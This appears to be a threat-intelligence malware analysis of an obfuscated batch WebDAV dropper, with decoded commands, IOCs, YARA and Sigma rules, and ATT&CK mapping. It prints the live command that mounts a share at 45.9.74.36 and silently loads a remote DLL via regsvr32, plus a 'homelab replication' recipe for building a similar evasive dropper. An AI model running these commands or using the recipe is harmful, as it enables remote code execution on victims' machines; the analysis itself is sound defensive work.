434c52140b345657e82d139c83fd924ae4a6d09673401bbb632847adafa8cbd8unclassified-js-webdav-dropper: 434c5214 — natural-language batch variant, expanded word-salad padding
Executive Summary
Pure-batch WebDAV dropper using natural-language SET variable-name obfuscation (36 three-word English compound phrases) and ~185 lines of leading word-salad noise. Decoys with color f0 && start wordpad, then spawns PowerShell to mount \\45.9.74.36@8888\davwwwroot\ and silently register 25385140064632.dll via regsvr32 /s. Sixty-first confirmed sibling in the unclassified-js-webdav-dropper cluster. Static-only (batch script, no CAPE detonation support).
What It Is
| Field | Value |
|---|---|
| SHA-256 | 434c52140b345657e82d139c83fd924ae4a6d09673401bbb632847adafa8cbd8 |
| Filename | 11734169601251423567.bat ^[metadata.json] |
| Size | 14,653 bytes ^[triage.json] |
| File type | ASCII text, CRLF line terminators, very long lines (2,192 chars) ^[file.txt] |
| Family | unclassified-js-webdav-dropper — sixty-first confirmed sibling |
| C2 | 45.9.74.36:8888 |
| Payload | 25385140064632.dll |
The sample is a pure batch script (not a JScript/batch polyglot). Execution begins at the :twist label after skipping ~185 lines of natural-language noise padding. ^[strings.txt:1-15]
How It Works
Obfuscation engine
Thirty-six SET assignments on a single &&-chained line map long three-word English compound phrases to single characters: ^[strings.txt:16]
set zanyfuturisticdivide=t
set hatestimulatingtooth=s
set vestplausibleheat=q
set toybizarreplausible=r
set parallelhospitalburly=y
set glassglowexclusive=i
set picayunestagecondition=j
set penciloverwroughtrot=9
set detectdaycrooked=b
set fowlfoamybeg=h
set annoyedplanesdamp=w
set jeansquiltguide=n
set curtainshybeg=a
set castviewspell=e
set bridgehurryfoamy=m
set fangplaterat=f
set carefulsqueezespectacular=p
set murderkindlyknowledgeable=v
set continuewaitinglie=x
set wantborrowstanding=z
set mundaneapparatusplug=5
set recordnoiseticket=3
set fairenchantingdebonair=d
set stickylistclumsy=l
set wittylowlyyard=1
set approvalhulkingrule=g
set bucketvacationdraconian=o
set cardskistrong=4
set horriblevesselparty=2
set amazingunarmedamused=0
set abhorrentdadbroad=8
set trustgroanmellow=u
set credittanklush=c
set unpackmilkypin=7
set furrymarriedlist=k
set trashychildrenrabid=6
The decoded command line expands %VAR% tokens via batch variable substitution: ^[strings.txt:17-19]
color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\25385140064632.dll
exit
Execution chain
color f0— sets console background to white-on-black (benign-looking).start wordpad— launches WordPad as a visual decoy. ^[strings.txt:17]start powershell.exe -windowstyle hidden ...— spawns PowerShell in a hidden window. ^[strings.txt:18]net use \\45.9.74.36@8888\davwwwroot\— mounts the remote WebDAV share. ^[strings.txt:18]regsvr32 /s \\45.9.74.36@8888\davwwwroot\25385140064632.dll— silently registers the remote DLL. ^[strings.txt:18]exit— terminates the batch script. ^[strings.txt:19]
No persistence mechanism is observed. No sandbox gate, no anti-debug, no VM detection. One-shot execution.
Padding
~185 lines of natural-language word-salad noise precede the :twist label. The noise consists of semantically unrelated English adjectives, nouns, and verbs arranged in short phrases. This padding inflates the file to 14.6 KB and breaks naive line-based signature matching. ^[strings.txt:1-15]
C2 Infrastructure
| Indicator | Value |
|---|---|
| WebDAV host | 45.9.74.36:8888 |
| WebDAV path | \\45.9.74.36@8888\davwwwroot\ |
| Payload DLL | 25385140064632.dll |
| Execution | regsvr32 /s (silent registration) |
Same C2 IP as siblings ffd5d894, e9e82d14, f170f5a9, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, 9bea44f4, a1b6e36f, 682bea06, 6e5e5715, 509090e9, 7015b169, 4f20ce5f, 5e170f1b, and 420bd100. ^[entities/unclassified-js-webdav-dropper.md]
Interesting Tidbits
- Same C2, new payload filename:
25385140064632.dllhas not been observed in any prior sibling. The DLL naming convention remains a numeric string with no obvious pattern. - Natural-language variable names: Unlike the random-noise dialect (
7015b169,4f20ce5f) or shared-prefix dialect (e777fd64), this variant uses grammatically coherent three-word English phrases (zanyfuturisticdivide,hatestimulatingtooth,murderkindlyknowledgeable). - Expanded padding: The ~185 lines of leading noise match the padding volume observed in sibling
a1b6e36f(~185 lines before:drunklabel), suggesting a shared generation tool or copy-paste template. - No
gotolabel complexity: The:twistlabel is a simple jump target; some siblings use more thematic labels (:minister,:tax,:basketball). - No polyglot layer: Unlike
da58243cor6f1d7c74, this sample is pure batch — no JScript self-replication, noWScript.Shell.Runstaging.
How To Mess With It (Homelab Replication)
Goal: Reproduce a batch WebDAV dropper with natural-language SET obfuscation that evades naive string matching.
Toolchain: Any text editor + Windows cmd.exe.
Steps:
- Choose 36 grammatically plausible three-word English phrases (e.g.,
brightsunnyday,quickbrownfox). - Map each phrase to a single character or digit needed for your payload command.
- Write the
SETline as a single&&-chained statement. - Add 150–200 lines of random English word-salad noise before the execution label.
- Decode the command via
%VAR%expansion:start powershell.exe -windowstyle hidden net use \\YOUR_C2@8888\davwwwroot\ ; regsvr32 /s \\YOUR_C2@8888\davwwwroot\payload.dll - Test on a Windows VM with a local WebDAV server (e.g., IIS with DAV enabled, or
wsgidav).
What you learn: How trivial batch variable expansion defeats static string extraction, and why process-creation telemetry (ParentImage→ChildImage chains) is more reliable than file-content scanning for script droppers.
Deployable Signatures
YARA rule
rule webdav_batch_dropper_natural_language_set
{
meta:
description = "Batch WebDAV dropper with natural-language SET obfuscation"
author = "Titus / PacketPursuit"
date = "2026-07-13"
reference = "/intel/analyses/434c52140b345657e82d139c83fd924ae4a6d09673401bbb632847adafa8cbd8.html"
strings:
$set_pattern = /set [a-z]{15,35}=[a-z0-9]&&set [a-z]{15,35}=[a-z0-9]/
$webdav = "\\davwwwroot\\" ascii wide
$regsvr = "regsvr32 /s" ascii wide
$netuse = "net use" ascii wide
$ps_hidden = "powershell.exe -windowstyle hidden" ascii wide
condition:
filesize < 30KB and
#set_pattern >= 5 and
$webdav and
($regsvr or $netuse or $ps_hidden)
}
Sigma rule
title: WebDAV Batch Dropper Execution
status: experimental
description: Detects batch script spawning PowerShell to mount WebDAV and register remote DLL
logsource:
category: process_creation
product: windows
detection:
selection_ps:
Image|endswith: '\powershell.exe'
CommandLine|contains:
- 'net use'
- 'davwwwroot'
selection_regsvr:
Image|endswith: '\regsvr32.exe'
CommandLine|contains: '\\'
selection_parent:
ParentImage|endswith: '\cmd.exe'
ParentCommandLine|contains:
- '.bat'
- '.cmd'
condition: (selection_ps and selection_regsvr) or (selection_parent and selection_ps)
falsepositives:
- Legitimate IT automation scripts using WebDAV
level: high
IOC list
| Type | Value |
|---|---|
| SHA-256 | 434c52140b345657e82d139c83fd924ae4a6d09673401bbb632847adafa8cbd8 |
| Filename | 11734169601251423567.bat |
| C2 IP | 45.9.74.36 |
| C2 port | 8888 |
| Payload DLL | 25385140064632.dll |
| WebDAV path | \\45.9.74.36@8888\davwwwroot\25385140064632.dll |
| Execution | regsvr32 /s |
| Decoy | wordpad.exe |
Behavioral fingerprint
This batch script contains 36 or more SET variable assignments with natural-language three-word English compound phrase names (15–35 characters each), followed by a color f0 && start wordpad decoy, then a start powershell.exe -windowstyle hidden wrapper that executes net use to mount a WebDAV share at \\host@8888\davwwwroot\ and regsvr32 /s to silently register a numeric-filename DLL from that share. No persistence, no sandbox gate, no anti-analysis. Leading word-salad padding of 150–200 lines is common.
Detection Signatures
| ATT&CK ID | Name | Evidence |
|---|---|---|
| T1059.003 | Windows Command Shell | Batch script execution ^[strings.txt:17-19] |
| T1059.001 | PowerShell | powershell.exe -windowstyle hidden wrapper ^[strings.txt:18] |
| T1218.010 | Regsvr32 | regsvr32 /s \\45.9.74.36@8888\davwwwroot\25385140064632.dll ^[strings.txt:18] |
| T1036.005 | Match Legitimate Name or Location | wordpad decoy, regsvr32 system binary proxy ^[strings.txt:17-18] |
| T1027 | Obfuscated Files or Information | Natural-language SET variable expansion ^[strings.txt:16] |
| T1071.001 | Web Protocols | WebDAV over HTTP (\\45.9.74.36@8888\davwwwroot\) ^[strings.txt:18] |
| T1105 | Ingress Tool Transfer | net use mounts share; regsvr32 fetches remote DLL ^[strings.txt:18] |
References
- unclassified-js-webdav-dropper — Family entity page with full sibling list and cluster analysis.
- webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + regsvr32 execution chain.
- batch-powershell-variable-expansion-obfuscation — Generic technique page for SET fragmentation.
Provenance
file.txt— file(1) output, triage pipelinestrings.txt— full string extraction viastrings -a -n 4metadata.json— artifact metadata from OpenCTI connectortriage.json— triage classification (tier: deep, family: null)dynamic-analysis.md— CAPE skipped (ASCII text, not a supported binary class)- No capa, floss, binwalk, rabin2, or Ghidra output (batch script, not a PE)